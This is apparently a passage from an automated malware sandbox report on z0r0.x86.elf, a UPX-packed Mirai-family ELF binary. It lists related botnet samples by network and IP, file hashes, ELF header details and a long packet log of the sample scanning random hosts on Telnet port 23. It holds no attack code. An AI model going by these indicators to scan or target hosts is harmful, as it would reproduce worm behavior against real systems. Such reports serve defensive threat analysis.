	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	78.139.161.177
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	89.232.6.164
TELEFONICABRASILSABR	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	189.46.141.216
	i686.elf	Get hash	malicious	Mirai	Browse	201.16.72.46
	res.mips.elf	Get hash	malicious	Unknown	Browse	191.201.125.90
	res.m68k.elf	Get hash	malicious	Unknown	Browse	177.198.103.25
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	189.110.234.122
	botx.spc.elf	Get hash	malicious	Mirai	Browse	187.10.55.80
	botx.m68k.elf	Get hash	malicious	Mirai	Browse	179.115.35.194
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	179.163.74.193
	botx.mips.elf	Get hash	malicious	Mirai	Browse	200.148.87.17
	botx.mpsl.elf	Get hash	malicious	Mirai	Browse	187.35.14.212
CipherWaveZA	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	197.234.167.166
	jackmysh4.elf	Get hash	malicious	Mirai	Browse	41.87.198.37
	boatnet.m68k.elf	Get hash	malicious	Mirai, Gafgyt	Browse	197.234.167.179
	boatnet.arm.elf	Get hash	malicious	Mirai, Gafgyt	Browse	41.87.198.65
	boatnet.x86.elf	Get hash	malicious	Mirai, Gafgyt	Browse	41.87.198.50
	mpsl.elf	Get hash	malicious	Mirai, Moobot	Browse	41.87.198.63
	debug.dbg.elf	Get hash	malicious	Mirai, Moobot	Browse	41.87.215.102
	arm7.elf	Get hash	malicious	Mirai, Moobot	Browse	197.234.167.157
	5.elf	Get hash	malicious	Unknown	Browse	197.234.167.149
	garm.elf	Get hash	malicious	Mirai	Browse	41.87.198.35
CHINANET-BACKBONENo31Jin-rongStreetCN	z0r0.sh4.elf	Get hash	malicious	Mirai	Browse	221.232.209.186
	z0r0.spc.elf	Get hash	malicious	Mirai	Browse	182.39.179.123
	z0r0.i686.elf	Get hash	malicious	Mirai	Browse	120.40.207.12
	jackmysh4.elf	Get hash	malicious	Mirai	Browse	118.183.197.81
	botnet.x86.elf	Get hash	malicious	Mirai, Moobot	Browse	121.56.246.75
	res.mips.elf	Get hash	malicious	Unknown	Browse	183.34.202.93
	res.x86.elf	Get hash	malicious	Unknown	Browse	111.121.9.68
	res.spc.elf	Get hash	malicious	Unknown	Browse	182.137.214.190
	res.mpsl.elf	Get hash	malicious	Unknown	Browse	219.150.237.4
	res.arm.elf	Get hash	malicious	Unknown	Browse	221.235.206.71

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
Entropy (8bit):	7.876586400158812
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	z0r0.x86.elf
File size:	31'328 bytes
MD5:	f4246d35c0b7e481204027534215d267
SHA1:	700274da82aca0330f9c4882fe2af06941bfebf5
SHA256:	8abd1ae8949d3e5df80b50d0b7ad535cbcfa579ae464bfdd17d82de5743571bb
SHA512:	aea32a6c7b087d2a5643e4e7c1f317882699cc972aedd033d1cd4d4c83ee06c533494ec4cca4a03a76d544beb64da1d96296fcd013bfceca35ee7586b8a87a5d
SSDEEP:	768:Tq3yhi2rg98FdmvPyQw7NABkcEfzVyVVtXUIo6dbJ8GT0Kx:4iFdmvPgACcEfzVOdRYK
TLSH:	96E2F156469F860FDE88F2F7B8CC70A05CF2B95523BF8B926A140DA223271D54385DE7
File Content Preview:	.ELF........................4...........4. ...(.....................Wy..Wy..............................@...........Q.td............................H...UPX!....................\........?d..ELF.......d....`..4.... .(.....6...-.#......}..~........@{.d..@...

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - Linux
ABI Version:	0
Entry Point Address:	0x804f0b8
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	0
Section Header Size:	40
Number of Section Headers:	0
Header String Table Index:	0

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align
LOAD	0x0	0x8048000	0x8048000	0x7957	0x7957	7.8810	0x5	R E	0x1000
LOAD	0x0	0x8050000	0x8050000	0x0	0x8940	0.0000	0x6	RW	0x1000
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Download Network PCAP: filtered – full

Network Port Distribution

Total Packets: 15461
• 59666 undefined
• 37215 undefined
• 443 (HTTPS)
• 80 (HTTP)
• 23 (Telnet)

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 4, 2025 18:17:31.372118950 CET	47076	23	192.168.2.23	4.224.114.87
Feb 4, 2025 18:17:31.372119904 CET	47076	23	192.168.2.23	92.23.7.87
Feb 4, 2025 18:17:31.372118950 CET	47076	23	192.168.2.23	163.179.6.116
Feb 4, 2025 18:17:31.372134924 CET	47076	23	192.168.2.23	44.174.88.26
Feb 4, 2025 18:17:31.372143030 CET	47076	23	192.168.2.23	130.129.139.106
Feb 4, 2025 18:17:31.372169018 CET	47076	23	192.168.2.23	210.178.135.81
Feb 4, 2025 18:17:31.372169018 CET	47076	23	192.168.2.23	194.82.191.250
Feb 4, 2025 18:17:31.372172117 CET	47076	23	192.168.2.23	112.132.122.239
Feb 4, 2025 18:17:31.372175932 CET	47076	23	192.168.2.23	157.79.3.186
Feb 4, 2025 18:17:31.372175932 CET	47076	23	192.168.2.23	91.89.98.112
Feb 4, 2025 18:17:31.372175932 CET	47076	23	192.168.2.23	83.145.242.116
Feb 4, 2025 18:17:31.372180939 CET	47076	23	192.168.2.23	85.168.253.159
Feb 4, 2025 18:17:31.372180939 CET	47076	23	192.168.2.23	52.154.141.42
Feb 4, 2025 18:17:31.372180939 CET	47076	23	192.168.2.23	141.209.44.25
Feb 4, 2025 18:17:31.372189999 CET	47076	23	192.168.2.23	65.7.148.37
Feb 4, 2025 18:17:31.372193098 CET	47076	23	192.168.2.23	161.233.92.6
Feb 4, 2025 18:17:31.372195959 CET	47076	23	192.168.2.23	152.61.107.176
Feb 4, 2025 18:17:31.372201920 CET	47076	23	192.168.2.23	128.16.205.191
Feb 4, 2025 18:17:31.372206926 CET	47076	23	192.168.2.23	67.139.160.55
Feb 4, 2025 18:17:31.372225046 CET	47076	23	192.168.2.23	183.219.229.81
Feb 4, 2025 18:17:31.372225046 CET	47076	23	192.168.2.23	151.26.174.137
Feb 4, 2025 18:17:31.372236967 CET	47076	23	192.168.2.23	149.206.49.19
Feb 4, 2025 18:17:31.372236967 CET	47076	23	192.168.2.23	175.125.116.107
Feb 4, 2025 18:17:31.372240067 CET	47076	23	192.168.2.23	107.82.243.201
Feb 4, 2025 18:17:31.372242928 CET	47076	23	192.168.2.23	126.21.196.46
Feb 4, 2025 18:17:31.372255087 CET	47076	23	192.168.2.23	47.56.25.130
Feb 4, 2025 18:17:31.372292995 CET	47076	23	192.168.2.23	155.189.220.154
Feb 4, 2025 18:17:31.372298956 CET	47076	23	192.168.2.23	121.158.21.152
Feb 4, 2025 18:17:31.372311115 CET	47076	23	192.168.2.23	149.3.142.204
Feb 4, 2025 18:17:31.372313976 CET	47076	23	192.168.2.23	99.187.6.83
Feb 4, 2025 18:17:31.372317076 CET	47076	23	192.168.2.23	172.173.60.23
Feb 4, 2025 18:17:31.372323990 CET	47076	23	192.168.2.23	146.109.5.177
Feb 4, 2025 18:17:31.372329950 CET	47076	23	192.168.2.23	54.106.122.6
Feb 4, 2025 18:17:31.372339010 CET	47076	23	192.168.2.23	61.131.204.12
Feb 4, 2025 18:17:31.372339964 CET	47076	23	192.168.2.23	1.142.101.135
Feb 4, 2025 18:17:31.372345924 CET	47076	23	192.168.2.23	78.140.95.95
Feb 4, 2025 18:17:31.372356892 CET	47076	23	192.168.2.23	32.195.112.125
Feb 4, 2025 18:17:31.372380972 CET	47076	23	192.168.2.23	142.190.144.84
Feb 4, 2025 18:17:31.372385025 CET	47076	23	192.168.2.23	172.108.57.176
Feb 4, 2025 18:17:31.372395992 CET	47076	23	192.168.2.23	123.173.30.127
Feb 4, 2025 18:17:31.372397900 CET	47076	23	192.168.2.23	51.228.251.46
Feb 4, 2025 18:17:31.372401953 CET	47076	23	192.168.2.23	197.203.146.123
Feb 4, 2025 18:17:31.372401953 CET	47076	23	192.168.2.23	40.182.169.248
Feb 4, 2025 18:17:31.372401953 CET	47076	23	192.168.2.23	149.245.20.75
Feb 4, 2025 18:17:31.372404099 CET	47076	23	192.168.2.23	84.63.82.242
Feb 4, 2025 18:17:31.372421980 CET	47076	23	192.168.2.23	81.36.91.196
Feb 4, 2025 18:17:31.372430086 CET	47076	23	192.168.2.23	136.4.252.241
Feb 4, 2025 18:17:31.372430086 CET	47076	23	192.168.2.23	134.100.205.170
Feb 4, 2025 18:17:31.372452974 CET	47076	23	192.168.2.23	4.126.226.95
Feb 4, 2025 18:17:31.372467995 CET	47076	23	192.168.2.23	89.159.28.137
Feb 4, 2025 18:17:31.372473001 CET	47076	23	192.168.2.23	110.17.113.164
Feb 4, 2025 18:17:31.372486115 CET	47076	23	192.168.2.23	32.42.153.209
Feb 4, 2025 18:17:31.372486115 CET	47076	23	192.168.2.23	84.64.219.213
Feb 4, 2025 18:17:31.372488022 CET	47076	23	192.168.2.23	36.14.39.102
Feb 4, 2025 18:17:31.372499943 CET	47076	23	192.168.2.23	27.116.68.11
Feb 4, 2025 18:17:31.372503042 CET	47076	23	192.168.2.23	123.57.86.137
Feb 4, 2025 18:17:31.372503996 CET	47076	23	192.168.2.23	27.200.214.148
Feb 4, 2025 18:17:31.372513056 CET	47076	23	192.168.2.23	100.225.68.164
Feb 4, 2025 18:17:31.372513056 CET	47076	23	192.168.2.23	180.32.104.55
Feb 4, 2025 18:17:31.372518063 CET	47076	23	192.168.2.23	161.241.29.251
Feb 4, 2025 18:17:31.372524023 CET	47076	23	192.168.2.23	108.15.7.221
Feb 4, 2025 18:17:31.372524023 CET	47076	23	192.168.2.23	20.122.10.125
Feb 4, 2025 18:17:31.372529030 CET	47076	23	192.168.2.23	62.254.10.232
Feb 4, 2025 18:17:31.372535944 CET	47076	23	192.168.2.23	76.74.92.65
Feb 4, 2025 18:17:31.372539997 CET	47076	23	192.168.2.23	150.154.22.152
Feb 4, 2025 18:17:31.372555971 CET	47076	23	192.168.2.23	72.139.190.134
Feb 4, 2025 18:17:31.372556925 CET	47076	23	192.168.2.23	82.161.101.2
Feb 4, 2025 18:17:31.372555971 CET	47076	23	192.168.2.23	207.185.43.179
Feb 4, 2025 18:17:31.372560024 CET	47076	23	192.168.2.23	77.240.113.232
Feb 4, 2025 18:17:31.372569084 CET	47076	23	192.168.2.23	159.61.84.97
Feb 4, 2025 18:17:31.372581959 CET	47076	23	192.168.2.23	13.213.137.235
Feb 4, 2025 18:17:31.372598886 CET	47076	23	192.168.2.23	9.175.149.218
Feb 4, 2025 18:17:31.373038054 CET	47076	23	192.168.2.23	168.30.4.100
Feb 4, 2025 18:17:31.373038054 CET	47076	23	192.168.2.23	70.49.179.37
Feb 4, 2025 18:17:31.373042107 CET	47076	23	192.168.2.23	218.205.64.83
Feb 4, 2025 18:17:31.373044968 CET	47076	23	192.168.2.23	94.9.120.244
Feb 4, 2025 18:17:31.373053074 CET	47076	23	192.168.2.23	168.196.214.136
Feb 4, 2025 18:17:31.373063087 CET	47076	23	192.168.2.23	50.46.76.29
Feb 4, 2025 18:17:31.373080969 CET	47076	23	192.168.2.23	90.250.64.176
Feb 4, 2025 18:17:31.373084068 CET	47076	23	192.168.2.23	219.241.71.118
Feb 4, 2025 18:17:31.373087883 CET	47076	23	192.168.2.23	198.109.94.35
Feb 4, 2025 18:17:31.373094082 CET	47076	23	192.168.2.23	203.129.116.22
Feb 4, 2025 18:17:31.373105049 CET	47076	23	192.168.2.23	205.9.131.79
Feb 4, 2025 18:17:31.373106956 CET	47076	23	192.168.2.23	87.69.247.4
Feb 4, 2025 18:17:31.373107910 CET	47076	23	192.168.2.23	70.193.129.153
Feb 4, 2025 18:17:31.373107910 CET	47076	23	192.168.2.23	219.145.18.6
Feb 4, 2025 18:17:31.373107910 CET	47076	23	192.168.2.23	93.93.209.213
Feb 4, 2025 18:17:31.373116016 CET	47076	23	192.168.2.23	138.0.11.34
Feb 4, 2025 18:17:31.373136044 CET	47076	23	192.168.2.23	125.164.251.93
Feb 4, 2025 18:17:31.373138905 CET	47076	23	192.168.2.23	93.1.137.174
Feb 4, 2025 18:17:31.373138905 CET	47076	23	192.168.2.23	180.96.248.73
Feb 4, 2025 18:17:31.373143911 CET	47076	23	192.168.2.23	104.85.21.184
Feb 4, 2025 18:17:31.373155117 CET	47076	23	192.168.2.23	112.180.149.12
Feb 4, 2025 18:17:31.373155117 CET	47076	23	192.168.2.23	206.32.12.100
Feb 4, 2025 18:17:31.373155117 CET	47076	23	192.168.2.23	44.51.32.228
Feb 4, 2025 18:17:31.373366117 CET	47076	23	192.168.2.23	86.155.39.63
Feb 4, 2025 18:17:31.373370886 CET	47076	23	192.168.2.23	72.184.72.175
Feb 4, 2025 18:17:31.373389006 CET	47076	23	192.168.2.23	2.212.205.160
Feb 4, 2025 18:17:31.373390913 CET	47076	23	192.168.2.23	183.177.171.88
Feb 4, 2025 18:17:31.373404026 CET	47076	23	192.168.2.23	187.211.138.57
Feb 4, 2025 18:17:31.373404026 CET	47076	23	192.168.2.23	143.103.73.106
Feb 4, 2025 18:17:31.373406887 CET	47076	23	192.168.2.23	209.218.129.35
Feb 4, 2025 18:17:31.373408079 CET	47076	23	192.168.2.23	203.120.72.240
Feb 4, 2025 18:17:31.373418093 CET	47076	23	192.168.2.23	131.103.54.12
Feb 4, 2025 18:17:31.373418093 CET	47076	23	192.168.2.23	133.237.238.191
Feb 4, 2025 18:17:31.373418093 CET	47076	23	192.168.2.23	191.191.162.133
Feb 4, 2025 18:17:31.373421907 CET	47076	23	192.168.2.23	65.78.62.116
Feb 4, 2025 18:17:31.373424053 CET	47076	23	192.168.2.23	140.14.55.155
Feb 4, 2025 18:17:31.373430014 CET	47076	23	192.168.2.23	117.158.67.212
Feb 4, 2025 18:17:31.373430014 CET	47076	23	192.168.2.23	123.4.255.90
Feb 4, 2025 18:17:31.373430967 CET	47076	23	192.168.2.23	90.243.83.111
Feb 4, 2025 18:17:31.373430967 CET	47076	23	192.168.2.23	152.159.92.25
Feb 4, 2025 18:17:31.373433113 CET	47076	23	192.168.2.23	222.46.233.102
Feb 4, 2025 18:17:31.373445034 CET	47076	23	192.168.2.23	134.253.23.155
Feb 4, 2025 18:17:31.373460054 CET	47076	23	192.168.2.23	85.251.237.142
Feb 4, 2025 18:17:31.373460054 CET	47076	23	192.168.2.23	176.63.62.83
Feb 4, 2025 18:17:31.373465061 CET	47076	23	192.168.2.23	103.20.110.250
Feb 4, 2025 18:17:31.373466969 CET	47076	23	192.168.2.23	123.249.136.243
Feb 4, 2025 18:17:31.373466969 CET	47076	23	192.168.2.23	208.135.9.39
Feb 4, 2025 18:17:31.373478889 CET	47076	23	192.168.2.23	5.58.35.158
Feb 4, 2025 18:17:31.373481989 CET	47076	23	192.168.2.23	126.23.32.214
Feb 4, 2025 18:17:31.373481989 CET	47076	23	192.168.2.23	50.103.66.0
Feb 4, 2025 18:17:31.373483896 CET	47076	23	192.168.2.23	12.65.219.206
Feb 4, 2025 18:17:31.373485088 CET	47076	23	192.168.2.23	17.110.192.50
Feb 4, 2025 18:17:31.373486996 CET	47076	23	192.168.2.23	220.238.85.228
Feb 4, 2025 18:17:31.373496056 CET	47076	23	192.168.2.23	154.17.58.31
Feb 4, 2025 18:17:31.373531103 CET	47076	23	192.168.2.23	198.253.66.48
Feb 4, 2025 18:17:31.373531103 CET	47076	23	192.168.2.23	17.17.29.34
Feb 4, 2025 18:17:31.373552084 CET	47076	23	192.168.2.23	145.116.156.146
Feb 4, 2025 18:17:31.373553038 CET	47076	23	192.168.2.23	204.48.133.47
Feb 4, 2025 18:17:31.373558044 CET	47076	23	192.168.2.23	181.5.14.77
Feb 4, 2025 18:17:31.373558044 CET	47076	23	192.168.2.23	141.198.92.31
Feb 4, 2025 18:17:31.373560905 CET	47076	23	192.168.2.23	62.168.97.11
Feb 4, 2025 18:17:31.373560905 CET	47076	23	192.168.2.23	193.233.95.127
Feb 4, 2025 18:17:31.373562098 CET	47076	23	192.168.2.23	61.137.53.190
Feb 4, 2025 18:17:31.373562098 CET	47076	23	192.168.2.23	140.141.236.16
Feb 4, 2025 18:17:31.373577118 CET	47076	23	192.168.2.23	177.33.144.45
Feb 4, 2025 18:17:31.373579025 CET	47076	23	192.168.2.23	199.91.122.250
Feb 4, 2025 18:17:31.373580933 CET	47076	23	192.168.2.23	63.41.214.214
Feb 4, 2025 18:17:31.373584032 CET	47076	23	192.168.2.23	50.191.68.90
Feb 4, 2025 18:17:31.373588085 CET	47076	23	192.168.2.23	193.75.107.206
Feb 4, 2025 18:17:31.373591900 CET	47076	23	192.168.2.23	80.253.147.74
Feb 4, 2025 18:17:31.373600006 CET	47076	23	192.168.2.23	173.118.185.255
Feb 4, 2025 18:17:31.373610973 CET	47076	23	192.168.2.23	52.200.51.129
Feb 4, 2025 18:17:31.373611927 CET	47076	23	192.168.2.23	52.90.39.201
Feb 4, 2025 18:17:31.373611927 CET	47076	23	192.168.2.23	103.127.201.243
Feb 4, 2025 18:17:31.373620987 CET	47076	23	192.168.2.23	145.238.37.7
Feb 4, 2025 18:17:31.373631001 CET	47076	23	192.168.2.23	133.40.77.171
Feb 4, 2025 18:17:31.373631954 CET	47076	23	192.168.2.23	155.29.225.64
Feb 4, 2025 18:17:31.373636007 CET	47076	23	192.168.2.23	200.243.69.161
Feb 4, 2025 18:17:31.373655081 CET	47076	23	192.168.2.23	69.148.183.150
Feb 4, 2025 18:17:31.373658895 CET	47076	23	192.168.2.23	148.53.157.220
Feb 4, 2025 18:17:31.373658895 CET	47076	23	192.168.2.23	179.218.230.140
Feb 4, 2025 18:17:31.373658895 CET	47076	23	192.168.2.23	61.212.47.165
Feb 4, 2025 18:17:31.373658895 CET	47076	23	192.168.2.23	197.10.24.250
Feb 4, 2025 18:17:31.373672962 CET	47076	23	192.168.2.23	131.142.112.126
Feb 4, 2025 18:17:31.373672962 CET	47076	23	192.168.2.23	189.248.113.169
Feb 4, 2025 18:17:31.373672962 CET	47076	23	192.168.2.23	131.243.91.193
Feb 4, 2025 18:17:31.373687983 CET	47076	23	192.168.2.23	114.113.18.124
Feb 4, 2025 18:17:31.373691082 CET	47076	23	192.168.2.23	153.44.241.207
Feb 4, 2025 18:17:31.373697042 CET	47076	23	192.168.2.23	53.85.76.67
Feb 4, 2025 18:17:31.373722076 CET	47076	23	192.168.2.23	150.174.128.114
Feb 4, 2025 18:17:31.373728991 CET	47076	23	192.168.2.23	223.39.215.206
Feb 4, 2025 18:17:31.373728991 CET	47076	23	192.168.2.23	73.80.216.25
Feb 4, 2025 18:17:31.373728991 CET	47076	23	192.168.2.23	87.236.18.63
Feb 4, 2025 18:17:31.373747110 CET	47076	23	192.168.2.23	43.135.162.203
Feb 4, 2025 18:17:31.373769045 CET	47076	23	192.168.2.23	66.54.8.121
Feb 4, 2025 18:17:31.373783112 CET	47076	23	192.168.2.23	181.3.58.97
Feb 4, 2025 18:17:31.373785019 CET	47076	23	192.168.2.23	113.216.178.123
Feb 4, 2025 18:17:31.373785019 CET	47076	23	192.168.2.23	204.65.199.79
Feb 4, 2025 18:17:31.373785019 CET	47076	23	192.168.2.23	210.12.43.239
Feb 4, 2025 18:17:31.373785019 CET	47076	23	192.168.2.23	219.122.68.228
Feb 4, 2025 18:17:31.373786926 CET	47076	23	192.168.2.23	189.90.84.184
Feb 4, 2025 18:17:31.373800039 CET	47076	23	192.168.2.23	76.144.247.12
Feb 4, 2025 18:17:31.373800039 CET	47076	23	192.168.2.23	192.239.202.170
Feb 4, 2025 18:17:31.373806953 CET	47076	23	192.168.2.23	54.42.126.196
Feb 4, 2025 18:17:31.373817921 CET	47076	23	192.168.2.23	148.249.41.60
Feb 4, 2025 18:17:31.373832941 CET	47076	23	192.168.2.23	194.114.197.107
Feb 4, 2025 18:17:31.373838902 CET	47076	23	192.168.2.23	123.72.124.209
Feb 4, 2025 18:17:31.373838902 CET	47076	23	192.168.2.23	50.73.77.74
Feb 4, 2025 18:17:31.373838902 CET	47076	23	192.168.2.23	120.225.164.104
Feb 4, 2025 18:17:31.373838902 CET	47076	23	192.168.2.23	46.151.32.58
Feb 4, 2025 18:17:31.373838902 CET	47076	23	192.168.2.23	213.58.155.139
Feb 4, 2025 18:17:31.373838902 CET	47076	23	192.168.2.23	133.254.118.230
Feb 4, 2025 18:17:31.373857975 CET	47076	23	192.168.2.23	18.1.216.32
Feb 4, 2025 18:17:31.373863935 CET	47076	23	192.168.2.23	158.22.173.210
Feb 4, 2025 18:17:31.373863935 CET	47076	23	192.168.2.23	108.108.60.60
Feb 4, 2025 18:17:31.373863935 CET	47076	23	192.168.2.23	96.212.112.19
Feb 4, 2025 18:17:31.373863935 CET	47076	23	192.168.2.23	211.251.52.20
Feb 4, 2025 18:17:31.373876095 CET	47076	23	192.168.2.23	17.55.59.49
Feb 4, 2025 18:17:31.373878956 CET	47076	23	192.168.2.23	12.54.206.114
Feb 4, 2025 18:17:31.373882055 CET	47076	23	192.168.2.23	27.106.229.112
Feb 4, 2025 18:17:31.373882055 CET	47076	23	192.168.2.23	106.67.53.24
Feb 4, 2025 18:17:31.373882055 CET	47076	23	192.168.2.23	107.106.167.26
Feb 4, 2025 18:17:31.373887062 CET	47076	23	192.168.2.23	187.69.48.67
Feb 4, 2025 18:17:31.373887062 CET	47076	23	192.168.2.23	41.9.31.135
Feb 4, 2025 18:17:31.373887062 CET	47076	23	192.168.2.23	5.58.186.88
Feb 4, 2025 18:17:31.373888969 CET	47076	23	192.168.2.23	54.6.237.213
Feb 4, 2025 18:17:31.373897076 CET	47076	23	192.168.2.23	97.227.201.66
Feb 4, 2025 18:17:31.373902082 CET	47076	23	192.168.2.23	36.206.251.151
Feb 4, 2025 18:17:31.373907089 CET	47076	23	192.168.2.23	219.29.190.41
Feb 4, 2025 18:17:31.373907089 CET	47076	23	192.168.2.23	150.161.83.156
Feb 4, 2025 18:17:31.373908997 CET	47076	23	192.168.2.23	47.14.201.39
Feb 4, 2025 18:17:31.373913050 CET	47076	23	192.168.2.23	43.243.73.218
Feb 4, 2025 18:17:31.373919964 CET	47076	23	192.168.2.23	99.193.160.14
Feb 4, 2025 18:17:31.373919964 CET	47076	23	192.168.2.23	71.197.48.52
Feb 4, 2025 18:17:31.373919964 CET	47076	23	192.168.2.23	88.50.75.63
Feb 4, 2025 18:17:31.373920918 CET	47076	23	192.168.2.23	104.154.56.212
Feb 4, 2025 18:17:31.373920918 CET	47076	23	192.168.2.23	202.199.91.185
Feb 4, 2025 18:17:31.373934984 CET	47076	23	192.168.2.23	178.246.214.151
Feb 4, 2025 18:17:31.373939991 CET	47076	23	192.168.2.23	69.189.54.227
Feb 4, 2025 18:17:31.373940945 CET	47076	23	192.168.2.23	4.251.76.93
Feb 4, 2025 18:17:31.373940945 CET	47076	23	192.168.2.23	82.128.194.213
Feb 4, 2025 18:17:31.373948097 CET	47076	23	192.168.2.23	117.80.246.106
Feb 4, 2025 18:17:31.373964071 CET	47076	23	192.168.2.23	133.58.173.39
Feb 4, 2025 18:17:31.373964071 CET	47076	23	192.168.2.23	66.231.161.147
Feb 4, 2025 18:17:31.373966932 CET	47076	23	192.168.2.23	212.245.233.165
Feb 4, 2025 18:17:31.373974085 CET	47076	23	192.168.2.23	115.252.185.28
Feb 4, 2025 18:17:31.373982906 CET	47076	23	192.168.2.23	37.233.137.78
Feb 4, 2025 18:17:31.373991013 CET	47076	23	192.168.2.23	114.105.204.233
Feb 4, 2025 18:17:31.373992920 CET	47076	23	192.168.2.23	12.32.240.172
Feb 4, 2025 18:17:31.373994112 CET	47076	23	192.168.2.23	194.241.248.148
Feb 4, 2025 18:17:31.373994112 CET	47076	23	192.168.2.23	164.168.49.204
Feb 4, 2025 18:17:31.373994112 CET	47076	23	192.168.2.23	193.32.145.170
Feb 4, 2025 18:17:31.373994112 CET	47076	23	192.168.2.23	78.149.36.246
Feb 4, 2025 18:17:31.373994112 CET	47076	23	192.168.2.23	25.162.202.110
Feb 4, 2025 18:17:31.374002934 CET	47076	23	192.168.2.23	65.1.177.150
Feb 4, 2025 18:17:31.374013901 CET	47076	23	192.168.2.23	95.53.221.108
Feb 4, 2025 18:17:31.374034882 CET	47076	23	192.168.2.23	52.102.102.127
Feb 4, 2025 18:17:31.374043941 CET	47076	23	192.168.2.23	8.5.97.127
Feb 4, 2025 18:17:31.374051094 CET	47076	23	192.168.2.23	91.168.93.156
Feb 4, 2025 18:17:31.374051094 CET	47076	23	192.168.2.23	67.148.16.65
Feb 4, 2025 18:17:31.374054909 CET	47076	23	192.168.2.23	24.182.50.76
Feb 4, 2025 18:17:31.374073982 CET	47076	23	192.168.2.23	123.149.193.65
Feb 4, 2025 18:17:31.374073982 CET	47076	23	192.168.2.23	190.60.46.137
Feb 4, 2025 18:17:31.374075890 CET	47076	23	192.168.2.23	136.157.196.64
Feb 4, 2025 18:17:31.374078989 CET	47076	23	192.168.2.23	145.160.151.27
Feb 4, 2025 18:17:31.374078989 CET	47076	23	192.168.2.23	100.9.33.106
Feb 4, 2025 18:17:31.374079943 CET	47076	23	192.168.2.23	103.118.4.34
Feb 4, 2025 18:17:31.374079943 CET	47076	23	192.168.2.23	165.213.111.134
Feb 4, 2025 18:17:31.374080896 CET	47076	23	192.168.2.23	80.41.150.119
Feb 4, 2025 18:17:31.374080896 CET	47076	23	192.168.2.23	155.33.183.125
Feb 4, 2025 18:17:31.374080896 CET	47076	23	192.168.2.23	167.177.208.147
Feb 4, 2025 18:17:31.374087095 CET	47076	23	192.168.2.23	185.213.214.99
Feb 4, 2025 18:17:31.374089003 CET	47076	23	192.168.2.23	84.77.219.38
Feb 4, 2025 18:17:31.374103069 CET	47076	23	192.168.2.23	203.235.167.70
Feb 4, 2025 18:17:31.374104023 CET	47076	23	192.168.2.23	207.64.35.14
Feb 4, 2025 18:17:31.374104023 CET	47076	23	192.168.2.23	116.54.234.178
Feb 4, 2025 18:17:31.374116898 CET	47076	23	192.168.2.23	115.98.107.73
Feb 4, 2025 18:17:31.374125957 CET	47076	23	192.168.2.23	221.124.143.213
Feb 4, 2025 18:17:31.374129057 CET	47076	23	192.168.2.23	164.4.22.53
Feb 4, 2025 18:17:31.374129057 CET	47076	23	192.168.2.23	146.205.228.204
Feb 4, 2025 18:17:31.374129057 CET	47076	23	192.168.2.23	42.53.31.239
Feb 4, 2025 18:17:31.374139071 CET	47076	23	192.168.2.23	129.237.56.182
Feb 4, 2025 18:17:31.374145031 CET	47076	23	192.168.2.23	160.41.152.203
Feb 4, 2025 18:17:31.374146938 CET	47076	23	192.168.2.23	32.158.227.88
Feb 4, 2025 18:17:31.374146938 CET	47076	23	192.168.2.23	160.229.190.166
Feb 4, 2025 18:17:31.374147892 CET	47076	23	192.168.2.23	36.106.44.133
Feb 4, 2025 18:17:31.374155045 CET	47076	23	192.168.2.23	1.6.219.149
Feb 4, 2025 18:17:31.374155045 CET	47076	23	192.168.2.23	48.204.221.201
Feb 4, 2025 18:17:31.374305964 CET	47076	23	192.168.2.23	175.1.40.35
Feb 4, 2025 18:17:31.374308109 CET	47076	23	192.168.2.23	54.192.23.100
Feb 4, 2025 18:17:31.374319077 CET	47076	23	192.168.2.23	114.209.187.226
Feb 4, 2025 18:17:31.374319077 CET	47076	23	192.168.2.23	103.41.76.141
Feb 4, 2025 18:17:31.374331951 CET	47076	23	192.168.2.23	137.34.39.36
Feb 4, 2025 18:17:31.374332905 CET	47076	23	192.168.2.23	37.1.60.220
Feb 4, 2025 18:17:31.374341965 CET	47076	23	192.168.2.23	169.206.31.6
Feb 4, 2025 18:17:31.374356985 CET	47076	23	192.168.2.23	139.179.30.111
Feb 4, 2025 18:17:31.374361038 CET	47076	23	192.168.2.23	19.86.174.136
Feb 4, 2025 18:17:31.374361992 CET	47076	23	192.168.2.23	177.246.232.250
Feb 4, 2025 18:17:31.374361992 CET	47076	23	192.168.2.23	120.243.90.179
Feb 4, 2025 18:17:31.374375105 CET	47076	23	192.168.2.23	101.144.62.239
Feb 4, 2025 18:17:31.374382973 CET	47076	23	192.168.2.23	175.47.73.237
Feb 4, 2025 18:17:31.374385118 CET	47076	23	192.168.2.23	1.161.119.239
Feb 4, 2025 18:17:31.374385118 CET	47076	23	192.168.2.23	19.75.150.100
Feb 4, 2025 18:17:31.374386072 CET	47076	23	192.168.2.23	88.12.48.66
Feb 4, 2025 18:17:31.374423981 CET	47076	23	192.168.2.23	223.13.207.170
Feb 4, 2025 18:17:31.374448061 CET	47076	23	192.168.2.23	75.211.45.79
Feb 4, 2025 18:17:31.374448061 CET	47076	23	192.168.2.23	191.52.165.98
Feb 4, 2025 18:17:31.374449968 CET	47076	23	192.168.2.23	43.228.165.9
Feb 4, 2025 18:17:31.374453068 CET	47076	23	192.168.2.23	43.139.154.234
Feb 4, 2025 18:17:31.374453068 CET	47076	23	192.168.2.23	130.208.134.159
Feb 4, 2025 18:17:31.374461889 CET	47076	23	192.168.2.23	141.70.234.200
Feb 4, 2025 18:17:31.374475002 CET	47076	23	192.168.2.23	105.43.3.221
Feb 4, 2025 18:17:31.374475956 CET	47076	23	192.168.2.23	100.233.165.30
Feb 4, 2025 18:17:31.374475956 CET	47076	23	192.168.2.23	61.162.138.233
